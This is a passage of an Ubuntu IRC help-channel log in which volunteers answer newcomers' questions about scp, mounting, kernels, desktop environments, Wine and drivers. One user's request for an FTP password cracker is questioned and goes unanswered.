[09:58] <Seveas> zF, no idea - maybe your username was the same before now?
[09:58] <jemt> Seveas: Anyways, thanks for the SUN1.5 jackage :)
[09:58] <jemt> I'm off - later
[09:58] <alteroo> meheren: it should be really quick then..
[09:58] <zF> Seveas, that was it -.-
[09:58] <einand_> Seveas: tnx for the information
[09:58] <Blissex> NickGarvey: yes sure, thats exactly what it is designed for.
[09:58] <alteroo> meheren: come back and tell us how quick it was :-D
[09:58] <Seveas> zF, hint: you can plokn that in ~/.ssh/config so you don't have to type it all the time
[09:59] <ftg2> meheren: install took something like 40min on this inspiron 6000. it was another hour to upgrade to dapper. a couple more hours of tweaking to get X to display the max resolution and to get the touchpad doing all its neat tricks
[09:59] <jind> I use a day or so. But I install extrasoftware and tweak things up
[09:59] <NickGarvey> Blissex: when I am installing then, should I install server? or default
[09:59] <jind> Like the kernel
[09:59] <meheren> lol yeh... i gtg somewhere at 5:00 is the thing and was wondering if i could squeeze it in...
[09:59] <zF> Seveas, I'll remember that
[09:59] <alteroo> meheren: what time is it now?
[09:59] <zF> Seveas, how do I transfer files using ssh?
[09:59] <Blissex> NickGarvey: ''server'' at install installs background servers, like email/DNS/SQL servers...
[09:59] <zF> smtp... I think it was?
[09:59] <Enthusiast78> wastrel: Many thanks!!
[09:59] <NickGarvey> zp: scp
[09:59] <Seveas> zF, scp
[09:59] <Blissex> NickGarvey: probably you just want ''default''
[09:59] <zF> can I man scp?
[10:00] <alteroo> meheren: if you have an hour that should be enough... with much customization and stuff..
[10:00] <Seveas> zF, or with mc or nautilus
[10:00] <NickGarvey> Blissex: alright, and I should have it boot in init 2?
[10:00] <Seveas> yeah, man scp is a good read
[10:00] <meheren> alteroo, k well here we go...
[10:00] <savon> !ati
[10:00] <ubotu> ati is, like, https://wiki.ubuntu.com/BinaryDriverHowto/ATI or http://www.ubuntuforums.org/showthread.php?t=24557&page=1&pp=10 or http://ubuntuforums.org/showthread.php?p=423589
[10:00] <Blissex> NickGarvey: na, Debian/Ubuntu use another method to indicate ''dont start X''.
[10:00] <alteroo> meheren: aight.. good luck man
[10:00] <jind> zF: scp file1 user@host: (or user@host/ for the root of the computer)
[10:00] <Blissex> ubotu: no display manager?
[10:00] <ubotu> Blissex: I don't know, try searching at http://ubuntu.cc.com.au/
[10:00] <Blissex> !nodm
[10:00] <ubotu> Syntax error in line 1. Try searching at http://ubuntu.cc.com.au/, Blissex
[10:00] <meheren> alteroo, thx
[10:01] <kbrooks> well
[10:01] <zF> jind: is the user@host my host or the host I'm logged into with ssh?
[10:01] <Blissex> NickGarvey: anyhow, just put "none" in '/etc/X11/default-display-manager'
[10:01] <Seveas> kbrooks, broke your modem? ;)
[10:01] <meheren> is there a way i can do a network install from a install cd so i don't have to update once ive installed>
[10:01] <Blissex> NickGarvey: run level 2 is for non-networked operation.
[10:01] <meheren> *?
[10:01] <Seveas> Blissex, not in Ubuntu
[10:01] <jind> zF: the last of cource. You need to identify to the ssh server on the remote side
[10:01] <kbrooks> Seveas, um, no.  :) i didnt get d/c. i killed X
[10:01] <NickGarvey> Blissex: sure? thats what I ran my web server on and I sshed into it
[10:01] <Seveas> Blissex, in ubuntu runlevel 2 through 5 are the same
[10:01] <meheren> basically can i use a install cd as a network install cd...?
[10:02] <Seveas> kbrooks, that's a way ;)
[10:02] <ubushine> Seveas, Blissex thanks for the tips but i'm still getting error when i try to run anything from terminal: "Gtk-WARNING **: Locale not supported by C library"
[10:02] <Blissex> NickGarvey: bah! these new kids on the block screw up runlevels :-)
[10:02] <Seveas> meheren, yes
[10:02] <jind> I need food. bbl
[10:02] <ubushine> any other tips?
[10:02] <Blissex> ubushine: have a look with 'locale -a'
[10:02] <kbrooks> how is ubuntu doing?
[10:02] <kbrooks> anything fancy? new?
[10:02] <NickGarvey> alright thanks a lot
[10:02] <meheren> seveas, how...?
[10:02] <kbrooks> by the way
[10:02] <GTX> how do I un define  LANG/LOCALE
[10:03] <Seveas> meheren, lemme find the docs...
[10:03] <kbrooks> i discovered a dictionary applet.
[10:03] <kbrooks> add it!
[10:03] <ubushine> Blissex, i see 3 error messages: eg "locale: Cannot set LC_CTYPE to default locale: No such file or directory
[10:03] <ubushine> "
[10:03] <meheren> seveas, k thx
[10:03] <Blissex> ubushine: more precisely, 'locale' to see which locale you chose, and then 'locale -a | less' to see which ones are available.
[10:03] <[blah] > why does my scroll wheel not work half the time?
[10:03] <b-or> test
[10:03] <gnomefreak> kbrooks: thats the same dictionary that is in the acceories menu
[10:03] <raindog> I see /dev/fd0/media/floppyO in etc/fstab but when i try to mount it it says can't find /dev/fd0/media/floppy0 in fstab or mtab
[10:03] <Blissex> [blah] : some programs are not very responsive to scroll events.
[10:04] <Mystery47_Newbie> hello!
[10:04] <Blissex> raindog: that's wrong there should be a space in there.
[10:04] <b-or> hello guys
[10:04] <kbrooks> gnomefreak, theni  didnt see it.
[10:04] <Mystery47_Newbie> I just have one guestion....How i can change gnome to KDE?
[10:04] <kingspawn> raindog: mount /dev/fd0 /media/floppy..
[10:04] <kbrooks> that or i dont use it.
[10:04] <kingspawn> (without the ..!)
[10:04] <gnomefreak> Mystery47_Newbie: you can sudo apt-get install kubuntu-desktop
[10:04] <alteroo> Mystery47_Newbie: without magic?
[10:04] <raindog> blissex kingspawn:  *blushes*  thanks.
[10:04] <[blah] > Blissex, It's not some programs.  Sometimes I boot and it works fine, others times it does not work at all in programs that respond to it (eg Mozilla)
[10:04] <Blissex> raindog: it should mount '/dev/fd0' (the floppu) as '/media/floppy' (or '/media/floppy0')
[10:05] <alteroo> Mystery47_Newbie: you want to isntall KDE and remove gnome?
[10:05] <Mystery47_Newbie> oh....and then i can choose that what i use...?
[10:05] <alteroo> Mystery47_Newbie: yes.
[10:05] <gnomefreak> Mystery47_Newbie: yes on the login screen under sessions
[10:05] <HE1> Im having issues with my Wireless card (Linksys WPC54G VER 4 )  , i installed the driver but the laptop (acer) is not detecting the hardware
[10:05] <raindog> blissex kinspawn:  it says that I must specify the filesystem type.
[10:05] <Mystery47_Newbie> does that kde make bad to my stuff...what i ahd putted on gnome?
[10:05] <jnoon> anyone know how i can set my shell to make the delete key send ^H? its sending ^D right now
[10:05] <gnomefreak> Mystery47_Newbie: no
[10:06] <GTX> how do I un define  LANG/LOCALE, also does anyone know how to get a "Samgsung CLP-510N working with ubuntu (networked)
[10:06] <kbrooks> are there any other good games?
[10:06] <Mystery47_Newbie> ok...thanks...i just try....=)
[10:06] <Blissex> raindog: it should not be necessary if the floppy is already formatted, the default should be 'auto' (in the '/etc/fstab').
[10:06] <gnomefreak> Mystery47_Newbie: shouldnt change anything in gnome except the gdm if you choose kdm
[10:06] <Blissex> raindog: try just 'mount /media/floppy'
[10:06] <kbrooks> gnomefreak, i think the kdm package condlicts with gdm. let me see.
[10:06] <Blissex> raindog: anyhow you are still keeping a secret with desktop environment/file manager you use.
[10:06] <Seveas> meheren, install debian-installer-manual - that one should contain the info you need
[10:06] <holycow> does anyone use sabayon here? just curious about how people find it in general
[10:07] <meheren> k
[10:07] <gnomefreak> kbrooks: you have to choose what one you want
[10:07] <raindog> blissex:  that did it. I'm using gnome.
[10:07] <kbrooks> gnomefreak, oh? i forgot then.
[10:07] <meheren> this has never happend to me before... y is there a small box in the center of the screen instead of filling the whole screen
[10:07] <chuckyp> Anyone know if installing kubuntu-desktop will bork my gnome menus?
[10:07] <Blissex> raindog: I don't use GNOME but it has cool icon/GUI methods of mounting stuff.
[10:08] <Mystery47_Newbie> what is that gdm and kdm?
[10:08] <Mystery47_Newbie> gnome desktop manager?
[10:08] <chuckyp> Mystery47_Newbie, that is the session manager
[10:08] <Blissex> raindog: ask perhaps in #GNOME for a suggestion
[10:08] <Mystery47_Newbie> oh...
[10:08] <gnomefreak> chuckyp: it wont you may need to install menu again though i dont know if that was fixed in dapper or not
[10:08] <meheren> chuckyp, kubuntu-dektop shouldn't do anythign to ur gnome stuff...
[10:08] <gnomefreak> Mystery47_Newbie: yes
[10:08] <meheren> chuckyp, it didn't do anything to mine
[10:08] <chuckyp> Mystery47_Newbie, so if you run sudo /etc/init.d/gdm restart you will restart the session and x etc...
[10:08] <Blissex> Mystery47_Newbie: no, it is the Display Manager, which is different from the desktop manager which is different from the session manager :-)
[10:08] <linuxcrazy> On a scale of 1 to 10, what would you guys rate Ubuntu?
[10:08] <gnomefreak> gnome display manager
[10:09] <chuckyp> gnomefreak, gotcha just wanted to check it out.
[10:09] <raindog> blissex:  i found the mount/unmount previously.  I just was having trouble getting it to mount initially.  Many thanks to blissex and kingspawn.
[10:09] <Blissex> Mystery47_Newbie: one of the attractions of GNU/Linux/X is that it is very modulary
[10:09] <chuckyp> gnomefreak, after this update is done cheese 111 packages
[10:09] <Mystery47_Newbie> ok....but everything is safe....and i can change it back at ease...?
[10:09] <gnomefreak> kubuntu-desktop is a fairly big package chuckyp you could be there a while
[10:09] <Blissex> raindog: but you can mount/umount initiallu from Nautilus and GNOME too... I just can't remember how (I don't even have Nautilus installed :->)
[10:10] <gnomefreak> Mystery47_Newbie: yes
[10:10] <painkiler> hey guys
[10:10] <chuckyp> gnomefreak, no i'm talking about all the oo updates today.
[10:10] <painkiler> how do i get premisson to write in usb drives with out sudo?
[10:10] <Mystery47_Newbie> ok....thats good to know...bec i have just good gnome desktop just now....and i dont want to mess my whole linux....
[10:10] <linuxcrazy> do you guys think Ubunut is a really good distro?
[10:10] <painkiler> like drag and drop style
[10:10] <chuckyp> painkiler, mount it so your user's can write to it.
[10:10] <gnomefreak> oh those yes that was huge and i only had 20 at that time
[10:10] <gnomefreak> linuxcrazy: were kind of biased on that subject
[10:11] <painkiler> chuckyp: could i do it that everyone was writeable?
[10:11] <Mystery47_Newbie> i just wanted to try kde....if i like it maybe i change it permanently....cool desktop...
[10:11] <chuckyp> gnomefreak, yeah I logged in and 111 updates today.
[10:11] <kingspawn> raindog: we aim to please.
[10:11] <linuxcrazy> Ok i'll shut up
[10:11] <painkiler> that when you plug anyone in it will be
[10:11] <Mystery47_Newbie> thanks to all you ppl who helped me....
[10:11] <Mystery47_Newbie> =)
[10:11] <einand_> is there any iso burning program for windows that uses the consoll
[10:12] <painkiler> what do i say to get it writeable?
[10:12] <linuxcrazy> why do you need a burning program that uses the consoel?
[10:12] <painkiler> sudo mnt what?
[10:12] <linuxcrazy> e*
[10:12] <meheren> this has never happend to me before... y is there a small box in the center of the screen instead of filling the whole screen
[10:12] <gnomefreak> einand_: they might know more on #windows but im sure dos has commands you can use to burn
[10:13] <gnomefreak> meheren: background?
[10:13] <linuxcrazy> why not just use nero?
[10:13] <einand_> gnomefreak: i was asking here my plan is to make an ubuntu.exe that downloads a iso and burn-it for my friend.
[10:13] <chuckyp> painkiler, yes
[10:13] <Howitzer> Does anybody know on how to use the output of a certain command for another command?, example: I like to play mp3's in TTY2 because i restart X a lot, however, with mpg123 i can't play a whole folder, i have to manually type the mp3's. What i want to do is make mpg123 play 'the output' of ls
[10:13] <chuckyp> painkiler, you could set it so that fstab mounts it that way.
[10:13] <linuxcrazy> any of you guys use looking glass?
[10:13] <painkiler> how?
[10:13] <painkiler> sorry a bit of a noob
[10:13] <kalphegor> how can i help ubuntu with a wallpaper? maybe default wallpaper for Dapper :) is there any visual/art team?
[10:13] <chuckyp> painkiler, i'm not too good with mounting stuff like that but I know it can be done.  Something with the umask and whatever in the fstab i'm sure someone else on here would know.
[10:14] <Howitzer> einand_, just make him download and burn it :/
[10:14] <chuckyp> !tell kalphegor about artwork
[10:14] <painkiler> !tell me about fstab
[10:14] <einand_> Howitzer: He do not own any burnprogram.
[10:14] <alteroo> Howitzer: ls | mpg123
[10:14] <meheren> gnomefreak, no no im install ubuntu... and my screen im using is a small box in the center instead of the whole thing...
[10:14] <zF> do both machines need to have an sshd for scp to work?
[10:14] <Mabus06> einand_: does he use... windows xp?
[10:14] <Howitzer> alteroo, that's all?
[10:15] <Mabus06> Doesn't windows explorer burn cds?
[10:15] <Howitzer> |mp|, is that pipe?,
[10:15] <alteroo> Howitzer: I thinks so..
[10:15] <Howitzer> .|, is that pipe?,
[10:15] <einand_> Mabus06: can you burn ISO files with winxp ?
[10:15] <Howitzer> i'll try it
[10:15] <jonphilpott> has anyone compiled gnome 2.14 for hoary?
[10:15] <Howitzer> einand_, ofcourse
[10:15] <alteroo> Howitzer: yeah,,
[10:15] <Howitzer> ty!
[10:15] <gnomefreak> |=pipe
[10:15] <painkiler> what do i add in fstab to get it writeable?
[10:15] <jonphilpott> garnome failed for me.. trying jhbuild now.. or are there packages available?
[10:15] <einand_> Howitzer: i meen, without any extra program
[10:15] <linuxcrazy> winxp does not natively support ISO burning
[10:15] <SaneEnglishMonk> zF: no, just the machine you're copying it to
[10:15] <Mabus06> einand_: not sure... but if he's going to download the huge file of ubuntu I'm sure he can get alcohol 120
[10:16] <einand_> Mabus06: thats illegal
[10:16] <b-or> where can i download the 6.04?
[10:16] <Mabus06> einand_: um, how is it illegal?
[10:16] <linuxcrazy> clear the thread!
[10:16] <zF> SaneEnglishMonk, so if I want to copy a remote file from a remote host that I connected to with ssh, I need my local machine to be running a sshd as well?
[10:16] <gnomefreak> ubotu tell b-or about dapper
[10:16] <einand_> Mabus06: also my plan is to find a free burner program to creat "installations programs"
[10:16] <b-or> tnx
[10:16] <gnomefreak> yw
[10:16] <chuckyp> painkiler, another place to try is #linuxhelp  there are a lot of knowledgable people in there.
[10:16] <gnomefreak> nm that
[10:17] <gnomefreak> b-or: type /topic
[10:17] <SaneEnglishMonk> zF: you can use 'scp remotehost:/path/to/file /location/on/local/host'
[10:17] <chuckyp> zF, yeah sort of to use scp you would.
[10:17] <linuxcrazy> any of you guys registered at the MPC forums?
[10:17] <kalphegor> !tell me about artwork
[10:17] <Howitzer> alteroo, won't work, it just displays the map and gives the mpg123 --help at the same time :x
[10:17] <alteroo> Howitzer: yes it is a pipe
[10:17] <Howitzer> linuxboy, isn't that a cheating forum?
[10:17] <zF> SaneEnglishMonk, I will try that, thanks.
[10:17] <raindog> I have a modem driver extracted to my HD.  It says to run the Makefile in it.  How do I 'run' the Makefile?
[10:17] <alteroo> Howitzer: hmmm.. interesting..
[10:17] <chuckyp> zF, SaneEnglishMonk for that to work port 22 on your local machine would need to be listening so yes you need ssh on that as well.
[10:17] <gnomefreak> people artwork isnt a know fact
[10:17] <b-or> where? to type?
[10:17] <allaun> hello everyone
[10:17] <PieR> hello
[10:17] <allaun> how is everybuddy
[10:17] <gnomefreak> b-or: in here just like you are typing now
[10:17] <savon> !wireless
[10:17] <PieR> 8)
[10:17] <ubotu> I guess wireless is https://wiki.ubuntu.com/HardwareSupportComponentsWirelessNetworkCards if it does not work out of the box https://wiki.ubuntu.com/WifiDocs/Driver/Ndiswrapper windows drivers
[10:17] <zF> ugh
[10:18] <zF> I guess I'll just put a ftpd on the remote box and drag crap into that :/
[10:18] <chuckyp> zF, you are trying to copy from remote to local right?
[10:18] <zF> Yes.
[10:18] <linuxcrazy> hey you guys need to try out kororaa
[10:18] <b-or> gnomefreak:[23:21:36]  Not Enough Parameters
[10:18] <allaun> i tried it
[10:18] <allaun> it didnt work
[10:18] <linuxcrazy> it gentoo that has already been configured
[10:18] <gnomefreak> go to ubuntu.com you will see it there somewhere or if you never changed ff homepage its on there
[10:18] <chuckyp> zF, then if ssh isn't listening locally its not that hard to enable.  just edit /etc/ssh/ssh_config or whatever its called.
[10:18] <chuckyp> !ssh
[10:18] <ubotu> well, ssh is https://wiki.ubuntu.com/SSHHowto, or https://wiki.ubuntu.com/AdvancedOpenSSH
[10:18] <allaun> it was a complete phailure
[10:18] <Obstfliege> I installed ubuntu onmy notebook. But during the installation at installing hotplug subsystem there was no reaktion anymore...
[10:19] <linuxcrazy> phailure hahahahahaha
[10:19] <chuckyp> Obstfliege, it locked up you mean?
[10:19] <Obstfliege> yes
[10:19] <linuxcrazy> ditch the lappy
[10:19] <Obstfliege> no reaktion to strg-c
[10:19] <gnomefreak> Obstfliege: what usb things do you have plugged in?
[10:19] <meheren> ok cool,... looks as if i got a super fast hd on this thing....
[10:19] <b-or> topic
[10:19] <trappist> Obstfliege: I've seen that complaint a LOT.  you might look for a bug report on malone.
[10:19] <gnomefreak> b-or:  with the /
[10:19] <meheren> it's flying through the install procedjers...
[10:20] <zF> Do I just uncomment Port 22, chuckyp
[10:20] <b-or> i did
[10:20] <zF> ?
[10:20] <meheren> (i no it's spelled worng...)
[10:20] <Obstfliege> mouse and keyboard
[10:20] <meheren> *wrong
[10:20] <chuckyp> zF, hold up let me check
[10:20] <gnomefreak> b-or: /topic should tell you the topic
[10:20] <b-or> gnomefreak: i know that... but i can't get it work
[10:20] <allaun> i'm upgrading 5.04
[10:20] <allaun> i had a cd laying alone
[10:20] <gnomefreak> b-or: here http://www.ubuntu.com/testing/flight5
[10:20] <meheren> is there a way to get marathon on ubuntu? (it's a really old mac game... they have it for next and mac os x...)
[10:20] <Obstfliege> trappist: where can i find it?
[10:21] <Howitzer> hmm alteroo, do you know if there is a 'variable' like $USER or $PWD, but instead lists the files in the directory?
[10:21] <adam_> I'm having trouble with direct rendering... whenever I run 'glxgears' I get "illegal operation" but glxinfo says I have direct rendering on, what could possibly be the problem?
[10:21] <b-or> gnomefreak: tnx dude, when is the next "flight"?
[10:21] <adam_> I have the i810 Intel integrated graphics card
[10:21] <gnomefreak> b-or: supposed to be beta on march 23rd but we will see what happens with the delay
[10:21] <trappist> Obstfliege: https://launchpad.net/distros/ubuntu
[10:21] <chuckyp> zF, check out the link ubotu is sending you tells you how to install ssh server on your ubuntu box and how to use scp everything you need to know
[10:21] <chuckyp> !tell zF about ssh
[10:22] <alteroo> Howitzer: not that I know off..
[10:22] <Mercutio150> Anyone in here familiar with Wine?
[10:22] <meheren> i am
[10:22] <Howitzer> Mercutio150, yes
[10:22] <gnomefreak> Mercutio150: feel free to ask your question if someone knows they will answer you
[10:22] <Mercutio150> do you think you could help me get it running
[10:22] <meheren> mercutio150, very why?
[10:22] <Mercutio150> the wiki isn't very helpful
[10:22] <meheren> sure
[10:23] <kingspawn> it seems to me that most people switch to linux to be able to run windows programs.
[10:23] <meheren> mercutio150, ummm apt-get install wine or xwine...
[10:23] <Mercutio150> I try to WIne something but it keeps giving me an error
[10:23] <PaladinoFugace> Hi! I have a very simple question about Ubuntu.  Once I have installed the single CD,  if I want a to develop... say... in Ada,  I have to install the packages from the 'net, right?.  There is no such a thing like a 2 DVDs version with all the packages or something,  right?
[10:23] <kingspawn> i find it almost infinitely annoying.
[10:23] <meheren> mercutio150, then run winecfg
[10:23] <b-or> gnomefreak: if i'll download the corrent.. can i "upgrade" it to the beta without downloading the whole cd?
[10:23] <kingspawn> PaladinoFugace: no such thing.
[10:23] <Mercutio150> ok any specific settings to look for?
[10:23] <gnomefreak> b-or: yes you will just do normal updates
[10:24] <gnomefreak> b-or: its still pretty tempermentle
[10:24] <PaladinoFugace> kingspawn  thanks
[10:24] <Mercutio150> ok I am in wincfg
[10:24] <Mercutio150> but I don't know what settings to modify
[10:24] <meheren> anyone here know what kernel i should install? (the linux-i386 the linux-image-i386 or the linux-image-2.6.12-9-386)?
[10:24] <b-or> gnomefreak: ok.. sorry for the "noobish" questions.. i'm still linux "virgin"..
[10:25] <meheren> im doing an install and it asks me what kerenel i want to install...
[10:25] <xcel> hej! i have a easyquestion! tell me any good FTP client!!
[10:25] <meheren> (i got a dell inspirion 8600
[10:25] <gnomefreak> b-or: if your that new to linux i would stick with ubuntu 5.10 for saftey reasons
[10:25] <Obstfliege> trappist: sorry but i am blind or just to stupid to find it :D
[10:25] <gnomefreak> xcel: gftp?
[10:25] <Tomcat_> http://linux.slashdot.org/article.pl?sid=06/03/16/1954251&from=rss "Automatix Kicks Ubuntu into Gear" <--- maybe someone wants to warn people there... I only heard Automatix was bad, but I don't have any details.
[10:25] <ftg2> kingspawn: i know a few noobs running linux because their hardware is pretty much done for.. blue screens, random crashes, etc. now their machines run like there is nothing wrong with them but all they can do is complain its not windows :(
[10:26] <gnomefreak> !automatix
[10:26] <ubotu> it has been said that automatix is unsafe, it overwrites configuration files, and does things like "echo -e 'ynYn'" that are considered risky. Please do not use it. There are alternative applications, but it's often best to read the documentation.
[10:26] <xcel> gnomefreak i can apt-get gtpd? :)
[10:26] <meheren> im doing an install and it asks me what kerenel i want to install...
[10:26] <meheren> (i got a dell inspirion 8600
[10:26] <zF> woot. I didn't need to change anything after al.
[10:26] <gnomefreak> gftp yes
[10:26] <xcel> thx!
[10:26] <cafuego> meheren: i686 then
[10:26] <gnomefreak> xcel: sudo apt-get gftp (iirc thats the name of package)
[10:26] <Tomcat_> Thanks gnomefreak, I'll probably just post that. :)
[10:26] <b-or> gnomefreak: LOL... and white the 5.10.. can i do "normal updates" for the 6.04.. or i'll have to download the cd?
[10:26] <meheren> i don't have the option for the i686...
[10:26] <xcel> i know :-) thank you
[10:27] <kingspawn> ftg2: heh, yeah. i wouldnt run linux if i mostly played games etc. Its okay wanting to play a game or two, but seems 70% of the questions in here is how to emulate windows. My answer would be: install windows, or atleast run a dual boot.
[10:27] <cafuego> meheren: ... so I am supposed to just guess?
[10:27] <meheren> cafuego, i don't have the option for the i686... i showed u all my options (or rather told...)
[10:27] <Mercutio150> IO am just trying to use wine for a few games I like
[10:27] <adam_> need help with direct rendering -- I'm getting "Illegal operation" when trying to load up glxgears (and screensavers that utilize opengl, don't work)
[10:27] <cafuego> you did?
[10:27] <gnomefreak> b-or: when it becomes stabel you can apt-get dist-upgrade with a lil more work but
[10:27] <Howitzer> what does stdout do? :/ (stdout in mpg123)
[10:27] <cafuego> meheren: Ah, linux-386 (It will auto-fetch the latest version)
[10:27] <ftg2> kingspawn: yup. in fact i wanted to pass my classes this semester so i wiped the windows partition.. no more counter-strike == better grade :)
[10:27] <meheren> these r my options(the linux-i386 the linux-image-i386 or the linux-image-2.6.12-9-386)?
[10:27] <Croperz> it's the output thingie!
[10:28] <gnomefreak> b-or: there will also be an upgrading tool
[10:28] <meheren> k
[10:28] <Mercutio150> I am having troubles running programs though
[10:28] <kingspawn> ftg2: hehe, yeah. i never play games anymore, and i get a lot of stuff done :)
[10:28] <cafuego> meheren: (They will in fact all install the same kernel anyway, only linux-i386 will keep auto-upgrading it)
[10:28] <meheren> cafuego, oh lol... well thx
[10:29] <meheren> so when i boot i should install the 686 kernel then?
[10:29] <Croperz> slightly oprimised!
[10:29] <ebel> I'm playing with video drivers. But init 3 doesn't kill all the Xorg. How do I restart X?
[10:29] <xcel> gnomefreak well wtf... i did sudo apt-get install gftpd and i t says it cant find the package
[10:29] <b-or> gnomefreak: ok... i'll first need to free some hardrive space before installing... so your advice is to install the breezy?
[10:29] <gnomefreak> gtfp
[10:29] <gnomefreak> gftp*
[10:29] <xcel> ah
[10:29] <_jason> ebel: ctrl+alt+backspace
[10:30] <meheren> cafuego, since you seem to no about kernels what should i put on a dell inspirion 8200?
[10:30] <Howitzer> How do i make a symlink?
[10:30] <cafuego> meheren: Well, there ptobably won't be much performance difference.
[10:30] <ebel> _jason, I know that kills X, isn't that supposed to be a bit unsafe?
[10:30] <_jason> Howitzer: ln -s
[10:30] <kingspawn> mehren: give i386 a go
[10:30] <richard> how can i create pdf?
[10:30] <cafuego> meheren: Dell is all i686 unless it's over 8 years old.
[10:30] <kingspawn> its over 8 years!! (im sorry)
[10:30] <Howitzer> ty
[10:30] <kingspawn> sometimes i get a little grumpy
[10:30] <_jason> ebel: I haven't heard of that personally
[10:30] <meheren> cafuego, k.... so i686 on all dells...
[10:30] <gnomefreak> ebel: you can log out of gnome/kde than do it safely
[10:30] <max300> does anyone know were i can find an ftp cacker for linux?
[10:31] <xcel> gnomefreak really thx for helping a noob :D
[10:31] <kingspawn> ebel: its not unsafe at all
[10:31] <MrRio> max300: cacker?
[10:31] <meheren> cafuego, 7500 included?
[10:31] <cafuego> meheren: Yep, except on their Itanium servers.
[10:31] <max300> password cracker
[10:31] <kingspawn> ebel: it has killed x since time immemorial (nearly)
[10:31] <max300> like brutforce
[10:31] <_jason> richard: OOo writer lets you export to pdf, that is one way
[10:31] <kingspawn> if you need an "ftp cacker", just use the included "ftp"
[10:31] <cafuego> max300: You want us to help you hack into a system?
[10:31] <ebel> _jason, kingspawn, Oh, OK. I thought it was a bit like just pulling the plug on a machine.
[10:31] <kingspawn> it really is "cack"
[10:31] <Jeff__> hey, does the ubuntu installation cd have a repair option? i accidentally damages linux-image
[10:31] <max300> no not realy lol
[10:31] <Jhair> ftpcacker?
[10:31] <belkin> why mplayer package is broken for streaming videos ?
[10:31] <max300> its my modem
[10:31] <raindog_> I can't figure out the command to install a modem driver that I have downloaded and extracted.  Can someone assist me??
[10:32] <gnomefreak> ebel: its not the _best_ way to do it but it works
[10:32] <ubuntu_> ciao
[10:32] <dolmen> how can I change package repositories priorities ?
[10:32] <_jason> belkin: it's not over here, what happens that makes you think it is broken?
[10:32] <kingspawn> raindog: what format is the driver yo uhave downloaded?
[10:32] <MrRio> raindog_: where and what is the driver?
[10:32] <meheren> cafuego, well never heard of a itanium server so.... lol
[10:32] <ebel> gnomefreak, is there a better way? I thought init 3 then init 5 was the way, but that isn't working.
[10:32] <belkin> _jason doesnt work :)) some other people said the same thing ?
[10:32] <richard> _jason: 00o writer is a program?
[10:32] <max300> does anyone know were i can find an ftp password cacker for linux?(brutforce)
[10:32] <raindog_> MrRio: It is a driver for a Lucent/Agere softmodem.  It's in my /home/user directory.
[10:32] <belkin> _jason what makes you think its not ?
[10:32] <_jason> belkin: give me an example
[10:32] <cafuego> meheren: Intels attempt at a 64bit architecture. Costs about as much as a cray these days.
[10:33] <_jason> belkin: because it works :)
[10:33] <gnomefreak> ebel: there is a command for it but i dont remember it off hand
[10:33] <ubuntu_> salve
[10:33] <kingspawn> i have such a distaste for gui's that ctrl-alt-backspace is the perfect way :)
[10:33] <nickrud> dolmen: by using apt-pinning , in /etc/apt/preferences (you'll need to create it) man apt_preferences tells you how
[10:33] <gnomefreak> ebel: i log out than do it
[10:33] <raindog_> MrRio:  http://linmodems.technion.ac.il/packages/ageresoftmodem/
[10:33] <cafuego> ointment
[10:33] <meheren> cafuego, what is the difference between the i386 and i686 kernels it can't be that much if they both run on a 386 and 686 cpu...
[10:33] <belkin> _jason say what ?? it doesnt work here
[10:33] <_jason> richard: open office writer in applications menu > office
[10:33] <dolmen> nickrud, thx
[10:33] <belkin> _jason did i miss anything ?
[10:33] <_jason> belkin: ok, let's try to figure out why.  Give me an example link that doesn't work for you
[10:33] <cafuego> meheren: i386 also runs on pentiums and 486es, has some bakcward compatibility stuff
[10:33] <belkin> _jason do i have to create any symlink for the pluging or apt will do it for me ?
[10:33] <ftg2> meheren: i686 is an i383.. backwards compatible. its the same instruction set (with additional instructions)
[10:33] <ebel> gnomefreak, OK
[10:34] <belkin> _jason it would be a lot easyer to tell you what worked for me " Nothing "
[10:34] <_jason> belkin: wait is your question ``why is mplayer plug-in broken?'' or ``how do I install mplayer plug-in?''
[10:34] <MrRio> raindog_, the readme says extract it, then type 'sudo make install'
[10:34] <Obstfliege> trappist: i cant find it can you please send me a link?
[10:34] <meheren> ah i got it...
[10:34] <meheren> ok thx
[10:34] <b-or> i have 64bit cpu.. is it still recommended to run the 32bit dist?
[10:34] <MrRio> raindog_, without quotes
[10:35] <belkin> _jason apt-get install should do the trick
[10:35] <_jason> belkin: you are confusing me :)
[10:35] <ebel> So is there an easy way to *start* X if it's not running?
[10:35] <raindog_> MrRio:  I have.  It says command not found.
[10:35] <Howitzer> When i symlink a folder from partition A to partition B, will the files in the original folder from partition A, be copied onto partition B?
[10:35] <ebel> I /could/ reboot, but I'd rather have an easier way....
[10:35] <_jason> ebel: sudo /etc/init.d/gdm start
[10:35] <MrRio> raindog_: you need build-essential from synaptic
[10:35] <belkin> _jason now im asking you . " do i need to symlink the file in to the firefox plugind directory " ?
[10:36] <_jason> belkin: not if you install mplayer plug-in (mozilla-mplayer) package
[10:36] <ebel> _jason, thanks. :)
[10:36] <belkin> _jason if you like to help me then give me some hints or something
[10:36] <raindog_> MrRio:  Ah, I see.  I'll have to download it with my other box.  Thanks for the help.
[10:36] <belkin> _jason well then . thats what i just installed ;)
[10:36] <kingspawn> ebel: startx
[10:36] <Jhair> Howitzer: no, they will not be copied, that is the idea of symbolic links...
[10:36] <MrRio> raindog_: its a deb that includes all the stardard make toold for ubuntu
[10:36] <MrRio> tools*
[10:37] <_jason> belkin: ok now is it actually getting used?  put about:plugins in your address bar and see if there is something else other than mplayer being used
[10:37] <jort> hello, can somebody help me to install nvidia drivers?
[10:37] <_jason> ubotu: tell jort about nvidia
[10:37] <mlehrer> it should just magically install them on install; at least dapper seems to
[10:37] <stpere> hi, is there a final decision about dapper delaying?
[10:37] <jort> i executed the program but it says; error: nvidia-installer must be run as root
[10:37] <fluxt> jort: whats the problem installing them?
[10:37] <meheren> gtg (btw the install is done total time [no config] = 1/2 hour :) )
[10:38] <_jason> jort: check your private messages from ubotu
[10:38] <h36sa> hi, I have a inspiron 5100 (desktop p4/2.4) and running gentoo, using cpufreq and p4-clockmod I was able to throttle my cpu to several different speeds, some of them very low (87% throttled)... This all seemed to work well, and kept my battery healthy and the temp low. My disk crashed and I reinstalled with ubuntu... althought my system sees 8 different states in /proc/acpi/processor/CPU0/throttling, the system only throttles betwee
[10:38] <kingspawn> jort "sudo" before whatever needs to be run as root
[10:38] <belkin> _jason that shows me the " Installed plug-ins " it doesnt show me whats being used right now
[10:38] <jort> i'm very noob but i dont really know what a root is
[10:39] <raindog_> MrRio:  using synaptic requires me to already have internet access on my ubuntu box, doesn't it?  Or can I just download and install the build-essentials.deb manually?
[10:39] <_jason> belkin: does it list anything other than mplayer? maybe xine or vlc or totem?
[10:39] <h36sa> jort: it's like the Administrator account
